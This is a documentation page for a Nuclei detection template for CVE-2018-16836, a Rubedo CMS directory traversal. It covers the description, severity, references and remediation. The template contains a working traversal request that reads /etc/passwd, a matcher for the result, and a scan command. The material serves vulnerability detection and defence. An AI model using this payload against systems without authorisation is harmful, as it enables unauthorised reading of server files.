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Rubedo CMS <=3.4.0 - Directory Traversal

ID: CVE-2018-16836

Severity: critical

Author: 0x_Akoko

Tags: cve2018,cve,rubedo,lfi,edb,rubedo_project

Description

Section titled “Description”

Rubedo CMS through 3.4.0 contains a directory traversal vulnerability in the theme component, allowing unauthenticated attackers to read and execute arbitrary files outside of the service root path, as demonstrated by a /theme/default/img/%2e%2e/..//etc/passwd URI.

YAML Source

Section titled “YAML Source”
id: CVE-2018-16836


info:
  name: Rubedo CMS <=3.4.0 - Directory Traversal
  author: 0x_Akoko
  severity: critical
  description: Rubedo CMS through 3.4.0 contains a directory traversal vulnerability in the theme component, allowing unauthenticated attackers to read and execute arbitrary files outside of the service root path, as demonstrated by a /theme/default/img/%2e%2e/..//etc/passwd URI.
  impact: |
    An attacker can exploit this vulnerability to read arbitrary files on the server.
  remediation: |
    Upgrade to a patched version of Rubedo CMS (>=3.4.1) or apply the provided security patch.
  reference:
    - https://www.exploit-db.com/exploits/45385
    - https://nvd.nist.gov/vuln/detail/CVE-2018-16836
    - https://github.com/maroueneboubakri/CVE/tree/master/rubedo-cms
    - https://www.exploit-db.com/exploits/45385/
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2018-16836
    cwe-id: CWE-22
    epss-score: 0.26631
    epss-percentile: 0.96743
    cpe: cpe:2.3:a:rubedo_project:rubedo:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: rubedo_project
    product: rubedo
  tags: cve2018,cve,rubedo,lfi,edb,rubedo_project


http:
  - method: GET
    path:
      - "{{BaseURL}}/theme/default/img/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e//etc/passwd"


    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"


      - type: status
        status:
          - 200
# digest: 4a0a00473045022100c1b6c7c67f3ca267f86ae49c183036294f9d2e8e609bc55022ecbf3cc854c00d0220291e582d8b91ba6e71b93984119d2240fd9a38b4671cca91b76722715d612b11:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2018/CVE-2018-16836.yaml"

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